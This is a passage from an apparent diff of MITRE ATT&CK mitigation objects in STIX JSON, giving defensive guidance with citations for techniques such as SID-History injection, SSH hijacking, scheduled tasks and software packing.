"http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx", + "description": "Corio, C., & Sayana, D. P. (2008, June). Application Lockdown with Software Restriction Policies. Retrieved November 18, 2014.", + "source_name": "Corio 2008" + }, + { + "url": "https://technet.microsoft.com/en-us/library/ee791851.aspx", + "description": "Microsoft. (2012, June 27). Using Software Restriction Policies and AppLocker Policies. Retrieved April 7, 2016.", + "source_name": "TechNet Applocker vs SRP" + } + ], + "x_mitre_deprecated": true, + "id": "course-of-action--337172b1-b003-4034-8a3f-1d89a71da628", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5" + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "course-of-action", + "name": "SID-History Injection Mitigation", + "description": "Clean up SID-History attributes after legitimate account migration is complete.\n\nConsider applying SID Filtering to interforest trusts, such as forest trusts and external trusts, to exclude SID-History from requests to access domain resources. SID Filtering ensures that any authentication requests over a trust only contain SIDs of security principals from the trusted domain (i.e. preventing the trusted domain from claiming a user has membership in groups outside of the domain).\n\nSID Filtering of forest trusts is enabled by default, but may have been disabled in some cases to allow a child domain to transitively access forest trusts. SID Filtering of external trusts is automatically enabled on all created external trusts using Server 2003 or later domain controllers. (Citation: Microsoft Trust Considerations Nov 2014) (Citation: Microsoft SID Filtering Quarantining Jan 2009) However note that SID Filtering is not automatically applied to legacy trusts or may have been deliberately disabled to allow inter-domain access to resources.\n\nSID Filtering can be applied by: (Citation: Microsoft Netdom Trust Sept 2012)\n\n* Disabling SIDHistory on forest trusts using the netdom tool (netdom trust /domain: /EnableSIDHistory:no on the domain controller). \n* Applying SID Filter Quarantining to external trusts using the netdom tool (netdom trust /domain: /quarantine:yes on the domain controller)\nApplying SID Filtering to domain trusts within a single forest is not recommended as it is an unsupported configuration and can cause breaking changes. (Citation: Microsoft Netdom Trust Sept 2012) (Citation: AdSecurity Kerberos GT Aug 2015) If a domain within a forest is untrustworthy then it should not be a member of the forest. In this situation it is necessary to first split the trusted and untrusted domains into separate forests where SID Filtering can be applied to an interforest trust.", + "x_mitre_version": "1.0", + "modified": "2019-07-25T11:37:35.427Z", + "created": "2018-10-17T00:14:20.652Z", + "external_references": [ + { + "url": "https://attack.mitre.org/mitigations/T1178", + "external_id": "T1178", + "source_name": "mitre-attack" + }, + { + "source_name": "Microsoft Trust Considerations Nov 2014", + "description": "Microsoft. (2014, November 19). Security Considerations for Trusts. Retrieved November 30, 2017.", + "url": "https://technet.microsoft.com/library/cc755321.aspx" + }, + { + "source_name": "Microsoft SID Filtering Quarantining Jan 2009", + "description": "Microsoft. (n.d.). Configuring SID Filter Quarantining on External Trusts. Retrieved November 30, 2017.", + "url": "https://technet.microsoft.com/library/cc794757.aspx" + }, + { + "source_name": "Microsoft Netdom Trust Sept 2012", + "description": "Microsoft. (2012, September 11). Command-Line Reference - Netdom Trust. Retrieved November 30, 2017.", + "url": "https://technet.microsoft.com/library/cc835085.aspx" + }, + { + "source_name": "AdSecurity Kerberos GT Aug 2015", + "description": "Metcalf, S. (2015, August 7). Kerberos Golden Tickets are Now More Golden. Retrieved December 1, 2017.", + "url": "https://adsecurity.org/?p=1640" + } + ], + "x_mitre_deprecated": true, + "id": "course-of-action--b91c2f9e-c1a0-44df-95f0-9e7c9d1d5e55", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5" + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "course-of-action", + "name": "SIP and Trust Provider Hijacking Mitigation", + "description": "Ensure proper permissions are set for Registry hives to prevent users from modifying keys related to SIP and trust provider components. Also ensure that these values contain their full path to prevent [DLL Search Order Hijacking](https://attack.mitre.org/techniques/T1038). (Citation: SpectorOps Subverting Trust Sept 2017)\n\nConsider removing unnecessary and/or stale SIPs. (Citation: SpectorOps Subverting Trust Sept 2017)\n\nRestrict storage and execution of SIP DLLs to protected directories, such as C:\\Windows, rather than user directories.\n\nEnable whitelisting solutions such as AppLocker and/or Device Guard to block the loading of malicious SIP DLLs. Components may still be able to be hijacked to suitable functions already present on disk if malicious modifications to Registry keys are not prevented.", + "x_mitre_version": "1.0", + "modified": "2019-07-25T11:38:03.304Z", + "created": "2018-10-17T00:14:20.652Z", + "external_references": [ + { + "url": "https://attack.mitre.org/mitigations/T1198", + "external_id": "T1198", + "source_name": "mitre-attack" + }, + { + "url": "https://specterops.io/assets/resources/SpecterOps_Subverting_Trust_in_Windows.pdf", + "description": "Graeber, M. (2017, September). Subverting Trust in Windows. Retrieved January 31, 2018.", + "source_name": "SpectorOps Subverting Trust Sept 2017" + } + ], + "x_mitre_deprecated": true, + "id": "course-of-action--ef273807-c465-4728-9cee-5823422f42ee", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5" + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "course-of-action", + "name": "SSH Hijacking Mitigation", + "description": "Ensure SSH key pairs have strong passwords and refrain from using key-store technologies such as ssh-agent unless they are properly protected. Ensure that all private keys are stored securely in locations where only the legitimate owner has access to with strong passwords and are rotated frequently. Ensure proper file permissions are set and harden system to prevent root privilege escalation opportunities. Do not allow remote access via SSH as root or other privileged accounts. Ensure that agent forwarding is disabled on systems that do not explicitly require this feature to prevent misuse. (Citation: Symantec SSH and ssh-agent)", + "x_mitre_version": "1.0", + "modified": "2019-07-25T11:38:28.944Z", + "created": "2018-10-17T00:14:20.652Z", + "external_references": [ + { + "url": "https://attack.mitre.org/mitigations/T1184", + "external_id": "T1184", + "source_name": "mitre-attack" + }, + { + "source_name": "Symantec SSH and ssh-agent", + "description": "Hatch, B. (2004, November 22). SSH and ssh-agent. Retrieved January 8, 2018.", + "url": "https://www.symantec.com/connect/articles/ssh-and-ssh-agent" + } + ], + "x_mitre_deprecated": true, + "id": "course-of-action--41cff8e9-fd05-408e-b3d5-d98c54c20bcf", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5" + }, + { + "type": "course-of-action", + "modified": "2019-06-06T20:15:34.146Z", + "id": "course-of-action--7bb5fae9-53ad-4424-866b-f0ea2a8b731d", + "description": "Break and inspect SSL/TLS sessions to look at encrypted web traffic for adversary activity.", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.0", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "name": "SSL/TLS Inspection", + "created": "2019-06-06T20:15:34.146Z", + "external_references": [ + { + "url": "https://attack.mitre.org/mitigations/M1020", + "external_id": "M1020", + "source_name": "mitre-attack" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "course-of-action", + "name": "Scheduled Task Mitigation", + "description": "Limit privileges of user accounts and remediate Privilege Escalation vectors so only authorized administrators can create scheduled tasks on remote systems. Toolkits like the PowerSploit framework contain PowerUp modules that can be used to explore systems for permission weaknesses in scheduled tasks that could be used to escalate privileges. (Citation: Powersploit)\n\nConfigure settings for scheduled tasks to force tasks to run under the context of the authenticated account instead of allowing them to run as SYSTEM. The associated Registry key is located at HKLM\\SYSTEM\\CurrentControlSet\\Control\\Lsa\\SubmitControl. The setting can be configured through GPO: Computer Configuration > [Policies] > Windows Settings > Security Settings > Local Policies > Security Options: Domain Controller: Allow server operators to schedule tasks, set to disabled. (Citation: TechNet Server Operator Scheduled Task)\n\nConfigure the Increase Scheduling Priority option to only allow the Administrators group the rights to schedule a priority process. This can be can be configured through GPO: Computer Configuration > [Policies] > Windows Settings > Security Settings > Local Policies > User Rights Assignment: Increase scheduling priority. (Citation: TechNet Scheduling Priority)\n\nIdentify and block unnecessary system utilities or potentially malicious software that may be used to schedule tasks using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)", + "x_mitre_version": "1.0", + "modified": "2021-08-23T20:25:19.375Z", + "created": "2018-10-17T00:14:20.652Z", + "external_references": [ + { + "source_name": "mitre-attack", + "external_id": "T1053", + "url": "https://attack.mitre.org/mitigations/T1053" + }, + { + "source_name": "Powersploit", + "description": "PowerSploit. (n.d.). Retrieved December 4, 2014.", + "url": "https://github.com/mattifestation/PowerSploit" + }, + { + "url": "https://technet.microsoft.com/library/jj852168.aspx", + "description": "Microsoft. (2012, November 15). Domain controller: Allow server operators to schedule tasks. Retrieved December 18, 2017.", + "source_name": "TechNet Server Operator Scheduled Task" + }, + { + "url": "https://technet.microsoft.com/library/dn221960.aspx", + "description": "Microsoft. (2013, May 8). Increase scheduling priority. Retrieved December 18, 2017.", + "source_name": "TechNet Scheduling Priority" + }, + { + "url": "http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599", + "description": "Beechey, J. (2010, December). Application Whitelisting: Panacea or Propaganda?. Retrieved November 18, 2014.", + "source_name": "Beechey 2010" + }, + { + "source_name": "Windows Commands JPCERT", + "description": "Tomonaga, S. (2016, January 26). Windows Commands Abused by Attackers. Retrieved February 2, 2016.", + "url": "https://blogs.jpcert.or.jp/en/2016/01/windows-commands-abused-by-attackers.html" + }, + { + "source_name": "NSA MS AppLocker", + "description": "NSA Information Assurance Directorate. (2014, August). Application Whitelisting Using Microsoft AppLocker. Retrieved March 31, 2016.", + "url": "https://apps.nsa.gov/iaarchive/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm" + }, + { + "url": "http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx", + "description": "Corio, C., & Sayana, D. P. (2008, June). Application Lockdown with Software Restriction Policies. Retrieved November 18, 2014.", + "source_name": "Corio 2008" + }, + { + "url": "https://technet.microsoft.com/en-us/library/ee791851.aspx", + "description": "Microsoft. (2012, June 27). Using Software Restriction Policies and AppLocker Policies. Retrieved April 7, 2016.", + "source_name": "TechNet Applocker vs SRP" + } + ], + "x_mitre_deprecated": true, + "id": "course-of-action--f2cb6ce2-188d-4162-8feb-594f949b13dd", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5" + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "course-of-action", + "name": "Scheduled Transfer Mitigation", + "description": "Network intrusion detection and prevention systems that use network signatures to identify traffic for specific adversary command and control infrastructure and malware can be used to mitigate activity at the network level. Signatures are often for unique indicators within protocols and may be based on the specific obfuscation technique used by a particular adversary or tool, and will likely be different across various malware families and versions. Adversaries will likely change tool command and control signatures over time or construct protocols in such a way to avoid detection by common defensive tools. (Citation: University of Birmingham C2)", + "x_mitre_version": "1.0", + "modified": "2019-07-25T11:39:28.002Z", + "created": "2018-10-17T00:14:20.652Z", + "external_references": [ + { + "url": "https://attack.mitre.org/mitigations/T1029", + "external_id": "T1029", + "source_name": "mitre-attack" + }, + { + "url": "https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf", + "description": "Gardiner, J., Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.", + "source_name": "University of Birmingham C2" + } + ], + "x_mitre_deprecated": true, + "id": "course-of-action--1c0711c8-2a73-48a1-893d-ff88bcd23824", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5" + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "course-of-action", + "name": "Screen Capture Mitigation", + "description": "Blocking software based on screen capture functionality may be difficult, and there may be legitimate software that performs those actions. Instead, identify potentially malicious software that may have functionality to acquire screen captures, and audit and/or block it by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)", + "x_mitre_version": "1.0", + "modified": "2020-01-17T16:45:24.643Z", + "created": "2018-10-17T00:14:20.652Z", + "external_references": [ + { + "source_name": "mitre-attack", + "external_id": "T1113", + "url": "https://attack.mitre.org/mitigations/T1113" + }, + { + "url": "http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599", + "description": "Beechey, J. (2010, December). Application Whitelisting: Panacea or Propaganda?. Retrieved November 18, 2014.", + "source_name": "Beechey 2010" + }, + { + "source_name": "Windows Commands JPCERT", + "description": "Tomonaga, S. (2016, January 26). Windows Commands Abused by Attackers. Retrieved February 2, 2016.", + "url": "http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html" + }, + { + "source_name": "NSA MS AppLocker", + "description": "NSA Information Assurance Directorate. (2014, August). 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Retrieved December 5, 2017.", + "url": "https://technet.microsoft.com/library/cc938799.aspx" + } + ], + "x_mitre_deprecated": true, + "id": "course-of-action--9da16278-c6c5-4410-8a6b-9c16ce8005b3", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5" + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "course-of-action", + "name": "Scripting Mitigation", + "description": "Turn off unused features or restrict access to scripting engines such as VBScript or scriptable administration frameworks such as PowerShell.\n\nConfigure Office security settings enable Protected View, to execute within a sandbox environment, and to block macros through Group Policy. (Citation: Microsoft Block Office Macros) Other types of virtualization and application microsegmentation may also mitigate the impact of compromise. The risks of additional exploits and weaknesses in implementation may still exist. (Citation: Ars Technica Pwn2Own 2017 VM Escape)", + "x_mitre_version": "1.0", + "modified": "2019-07-25T11:40:52.342Z", + "created": "2018-10-17T00:14:20.652Z", + "external_references": [ + { + "url": "https://attack.mitre.org/mitigations/T1064", + "external_id": "T1064", + "source_name": "mitre-attack" + }, + { + "source_name": "Microsoft Block Office Macros", + "description": "Windows Defender Research. (2016, March 22). New feature in Office 2016 can block macros and help prevent infection. Retrieved April 11, 2018.", + "url": "https://cloudblogs.microsoft.com/microsoftsecure/2016/03/22/new-feature-in-office-2016-can-block-macros-and-help-prevent-infection/" + }, + { + "url": "https://arstechnica.com/information-technology/2017/03/hack-that-escapes-vm-by-exploiting-edge-browser-fetches-105000-at-pwn2own/", + "description": "Goodin, D. (2017, March 17). Virtual machine escape fetches $105,000 at Pwn2Own hacking contest - updated. Retrieved March 12, 2018.", + "source_name": "Ars Technica Pwn2Own 2017 VM Escape" + } + ], + "x_mitre_deprecated": true, + "id": "course-of-action--57019a80-8523-46b6-be7d-f763a15a2cc6", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5" + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "course-of-action", + "name": "Security Software Discovery Mitigation", + "description": "Identify unnecessary system utilities or potentially malicious software that may be used to acquire information about local security software, and audit and/or block them by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)", + "x_mitre_version": "1.0", + "modified": "2021-08-23T20:25:18.624Z", + "created": "2018-10-17T00:14:20.652Z", + "external_references": [ + { + "source_name": "mitre-attack", + "external_id": "T1063", + "url": "https://attack.mitre.org/mitigations/T1063" + }, + { + "url": "http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599", + "description": "Beechey, J. (2010, December). Application Whitelisting: Panacea or Propaganda?. Retrieved November 18, 2014.", + "source_name": "Beechey 2010" + }, + { + "source_name": "Windows Commands JPCERT", + "description": "Tomonaga, S. (2016, January 26). Windows Commands Abused by Attackers. Retrieved February 2, 2016.", + "url": "https://blogs.jpcert.or.jp/en/2016/01/windows-commands-abused-by-attackers.html" + }, + { + "source_name": "NSA MS AppLocker", + "description": "NSA Information Assurance Directorate. (2014, August). Application Whitelisting Using Microsoft AppLocker. Retrieved March 31, 2016.", + "url": "https://apps.nsa.gov/iaarchive/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm" + }, + { + "url": "http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx", + "description": "Corio, C., & Sayana, D. P. (2008, June). Application Lockdown with Software Restriction Policies. Retrieved November 18, 2014.", + "source_name": "Corio 2008" + }, + { + "url": "https://technet.microsoft.com/en-us/library/ee791851.aspx", + "description": "Microsoft. (2012, June 27). Using Software Restriction Policies and AppLocker Policies. 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(Citation: Graeber 2014) (Citation: Microsoft Configure LSA)", + "x_mitre_version": "1.0", + "modified": "2019-07-25T11:41:39.946Z", + "created": "2018-10-17T00:14:20.652Z", + "external_references": [ + { + "url": "https://attack.mitre.org/mitigations/T1101", + "external_id": "T1101", + "source_name": "mitre-attack" + }, + { + "url": "http://docplayer.net/20839173-Analysis-of-malicious-security-support-provider-dlls.html", + "description": "Graeber, M. (2014, October). Analysis of Malicious Security Support Provider DLLs. Retrieved March 1, 2017.", + "source_name": "Graeber 2014" + }, + { + "url": "https://technet.microsoft.com/en-us/library/dn408187.aspx", + "description": "Microsoft. (2013, July 31). Configuring Additional LSA Protection. Retrieved June 24, 2015.", + "source_name": "Microsoft Configure LSA" + } + ], + "x_mitre_deprecated": true, + "id": "course-of-action--9e57c770-5a39-49a2-bb91-253ba629e3ac", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5" + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "course-of-action", + "name": "Service Execution Mitigation", + "description": "Ensure that permissions disallow services that run at a higher permissions level from being created or interacted with by a user with a lower permission level. Also ensure that high permission level service binaries cannot be replaced or modified by users with a lower permission level.\n\nIdentify unnecessary system utilities or potentially malicious software that may be used to interact with Windows services, and audit and/or block them by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)", + "x_mitre_version": "1.0", + "modified": "2020-01-17T16:45:24.245Z", + "created": "2018-10-17T00:14:20.652Z", + "external_references": [ + { + "source_name": "mitre-attack", + "external_id": "T1035", + "url": "https://attack.mitre.org/mitigations/T1035" + }, + { + "url": "http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599", + "description": "Beechey, J. (2010, December). Application Whitelisting: Panacea or Propaganda?. Retrieved November 18, 2014.", + "source_name": "Beechey 2010" + }, + { + "source_name": "Windows Commands JPCERT", + "description": "Tomonaga, S. (2016, January 26). Windows Commands Abused by Attackers. Retrieved February 2, 2016.", + "url": "http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html" + }, + { + "source_name": "NSA MS AppLocker", + "description": "NSA Information Assurance Directorate. (2014, August). Application Whitelisting Using Microsoft AppLocker. Retrieved March 31, 2016.", + "url": "https://apps.nsa.gov/iaarchive/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm" + }, + { + "url": "http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx", + "description": "Corio, C., & Sayana, D. P. (2008, June). Application Lockdown with Software Restriction Policies. Retrieved November 18, 2014.", + "source_name": "Corio 2008" + }, + { + "url": "https://technet.microsoft.com/en-us/library/ee791851.aspx", + "description": "Microsoft. (2012, June 27). Using Software Restriction Policies and AppLocker Policies. Retrieved April 7, 2016.", + "source_name": "TechNet Applocker vs SRP" + } + ], + "x_mitre_deprecated": true, + "id": "course-of-action--d5dce4b9-f1fa-4c03-aff9-ce177246cb64", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5" + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "course-of-action", + "name": "Service Registry Permissions Weakness Mitigation", + "description": "Ensure proper permissions are set for Registry hives to prevent users from modifying keys for system components that may lead to privilege escalation.\n\nIdentify and block potentially malicious software that may be executed through service abuse by using whitelisting (Citation: Beechey 2010) tools like AppLocker (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) that are capable of auditing and/or blocking unknown programs.", + "x_mitre_version": "1.0", + "modified": "2020-01-17T16:45:24.258Z", + "created": "2018-10-17T00:14:20.652Z", + "external_references": [ + { + "source_name": "mitre-attack", + "external_id": "T1058", + "url": "https://attack.mitre.org/mitigations/T1058" + }, + { + "url": "http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599", + "description": "Beechey, J. (2010, December). Application Whitelisting: Panacea or Propaganda?. Retrieved November 18, 2014.", + "source_name": "Beechey 2010" + }, + { + "source_name": "Windows Commands JPCERT", + "description": "Tomonaga, S. (2016, January 26). Windows Commands Abused by Attackers. Retrieved February 2, 2016.", + "url": "http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html" + }, + { + "source_name": "NSA MS AppLocker", + "description": "NSA Information Assurance Directorate. (2014, August). Application Whitelisting Using Microsoft AppLocker. Retrieved March 31, 2016.", + "url": "https://apps.nsa.gov/iaarchive/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm" + } + ], + "x_mitre_deprecated": true, + "id": "course-of-action--9378f139-10ef-4e4b-b679-2255a0818902", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5" + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "course-of-action", + "name": "Service Stop Mitigation", + "description": "Ensure proper process, registry, and file permissions are in place to inhibit adversaries from disabling or interfering with critical services. Limit privileges of user accounts and groups so that only authorized administrators can interact with service changes and service configurations. Harden systems used to serve critical network, business, and communications functions. Operate intrusion detection, analysis, and response systems on a separate network from the production environment to lessen the chances that an adversary can see and interfere with critical response functions.", + "x_mitre_version": "1.0", + "modified": "2019-07-25T11:42:52.240Z", + "created": "2019-04-24T17:01:10.433Z", + "external_references": [ + { + "url": "https://attack.mitre.org/mitigations/T1489", + "external_id": "T1489", + "source_name": "mitre-attack" + } + ], + "x_mitre_deprecated": true, + "id": "course-of-action--417fed8c-bd76-48b5-90a2-a88882a95241", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5" + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "course-of-action", + "name": "Setuid and Setgid Mitigation", + "description": "Applications with known vulnerabilities or known shell escapes should not have the setuid or setgid bits set to reduce potential damage if an application is compromised. Additionally, the number of programs with setuid or setgid bits set should be minimized across a system.", + "x_mitre_version": "1.0", + "modified": "2019-07-25T11:43:19.870Z", + "created": "2018-10-17T00:14:20.652Z", + "external_references": [ + { + "url": "https://attack.mitre.org/mitigations/T1166", + "external_id": "T1166", + "source_name": "mitre-attack" + } + ], + "x_mitre_deprecated": true, + "id": "course-of-action--073cc04d-ac46-4f5a-85d7-83a91ecd6a19", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5" + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "course-of-action", + "name": "Shared Webroot Mitigation", + "description": "Networks that allow for open development and testing of Web content and allow users to set up their own Web servers on the enterprise network may be particularly vulnerable if the systems and Web servers are not properly secured to limit privileged account use, unauthenticated network share access, and network/system isolation.\n\nEnsure proper permissions on directories that are accessible through a Web server. Disallow remote access to the webroot or other directories used to serve Web content. Disable execution on directories within the webroot. Ensure that permissions of the Web server process are only what is required by not using built-in accounts; instead, create specific accounts to limit unnecessary access or permissions overlap across multiple systems. (Citation: acunetix Server Secuirty) (Citation: NIST Server Security July 2008)", + "x_mitre_version": "1.0", + "modified": "2019-07-25T11:43:54.859Z", + "created": "2018-10-17T00:14:20.652Z", + "external_references": [ + { + "url": "https://attack.mitre.org/mitigations/T1051", + "external_id": "T1051", + "source_name": "mitre-attack" + }, + { + "source_name": "acunetix Server Secuirty", + "description": "Acunetix. (n.d.). Web Server Security and Database Server Security. Retrieved July 26, 2018.", + "url": "https://www.acunetix.com/websitesecurity/webserver-security/" + }, + { + "source_name": "NIST Server Security July 2008", + "description": "Scarfone, K. et al.. (2008, July). NIST Special Publication 800-123 - Guide to General Server Security. Retrieved July 26, 2018.", + "url": "https://nvlpubs.nist.gov/nistpubs/legacy/sp/nistspecialpublication800-123.pdf" + } + ], + "x_mitre_deprecated": true, + "id": "course-of-action--43b366a4-b5ff-4d4e-8a3b-f09a9d2faff5", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5" + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "course-of-action", + "name": "Shortcut Modification Mitigation", + "description": "Limit permissions for who can create symbolic links in Windows to appropriate groups such as Administrators and necessary groups for virtualization. This can be done through GPO: Computer Configuration > [Policies] > Windows Settings > Security Settings > Local Policies > User Rights Assignment: Create symbolic links. (Citation: UCF STIG Symbolic Links)\n\nIdentify and block unknown, potentially malicious software that may be executed through shortcut modification by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)", + "x_mitre_version": "1.0", + "modified": "2020-01-17T16:45:23.907Z", + "created": "2018-10-17T00:14:20.652Z", + "external_references": [ + { + "source_name": "mitre-attack", + "external_id": "T1023", + "url": "https://attack.mitre.org/mitigations/T1023" + }, + { + "url": "https://www.stigviewer.com/stig/windows_server_2008_r2_member_server/2015-06-25/finding/V-26482", + "description": "UCF. (n.d.). Unauthorized accounts must not have the Create symbolic links user right.. Retrieved December 18, 2017.", + "source_name": "UCF STIG Symbolic Links" + }, + { + "url": "http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599", + "description": "Beechey, J. (2010, December). Application Whitelisting: Panacea or Propaganda?. Retrieved November 18, 2014.", + "source_name": "Beechey 2010" + }, + { + "source_name": "Windows Commands JPCERT", + "description": "Tomonaga, S. (2016, January 26). Windows Commands Abused by Attackers. Retrieved February 2, 2016.", + "url": "http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html" + }, + { + "source_name": "NSA MS AppLocker", + "description": "NSA Information Assurance Directorate. (2014, August). Application Whitelisting Using Microsoft AppLocker. Retrieved March 31, 2016.", + "url": "https://apps.nsa.gov/iaarchive/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm" + }, + { + "url": "http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx", + "description": "Corio, C., & Sayana, D. P. (2008, June). Application Lockdown with Software Restriction Policies. Retrieved November 18, 2014.", + "source_name": "Corio 2008" + }, + { + "url": "https://technet.microsoft.com/en-us/library/ee791851.aspx", + "description": "Microsoft. (2012, June 27). Using Software Restriction Policies and AppLocker Policies. Retrieved April 7, 2016.", + "source_name": "TechNet Applocker vs SRP" + } + ], + "x_mitre_deprecated": true, + "id": "course-of-action--a13e35cc-8c90-4d77-a965-5461042c1612", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5" + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "course-of-action", + "name": "Signed Script Proxy Execution Mitigation", + "description": "Certain signed scripts that can be used to execute other programs may not be necessary within a given environment. Use application whitelisting configured to block execution of these scripts if they are not required for a given system or network to prevent potential misuse by adversaries.", + "x_mitre_version": "1.0", + "modified": "2019-07-25T11:45:01.486Z", + "created": "2018-10-17T00:14:20.652Z", + "external_references": [ + { + "url": "https://attack.mitre.org/mitigations/T1216", + "external_id": "T1216", + "source_name": "mitre-attack" + } + ], + "x_mitre_deprecated": true, + "id": "course-of-action--51048ba0-a5aa-41e7-bf5d-993cd217dfb2", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5" + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "course-of-action", + "name": "Software Configuration", + "description": "Implement configuration changes to software (other than the operating system) to mitigate security risks associated to how the software operates.", + "x_mitre_version": "1.1", + "modified": "2020-03-31T13:11:09.471Z", + "id": "course-of-action--b5dbb4c5-b0b1-40b1-80b6-e9e84ab90067", + "created": "2019-07-19T14:40:23.529Z", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "external_references": [ + { + "url": "https://attack.mitre.org/mitigations/M1054", + "external_id": "M1054", + "source_name": "mitre-attack" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "course-of-action", + "name": "Software Packing Mitigation", + "description": "Ensure updated virus definitions. Create custom signatures for observed malware. Employ heuristic-based malware detection.\n\nIdentify and prevent execution of potentially malicious software that may have been packed by using whitelisting (Citation: Beechey 2010) tools like AppLocker (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)", + "x_mitre_version": "1.0", + "modified": "2020-01-17T16:45:24.233Z", + "created": "2018-10-17T00:14:20.652Z", + "external_references": [ + { + "source_name": "mitre-attack", + "external_id": "T1045", + "url": "https://attack.mitre.org/mitigations/T1045" + }, + { + "url": "http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599", + "description": "Beechey, J. (2010, December). Application Whitelisting: 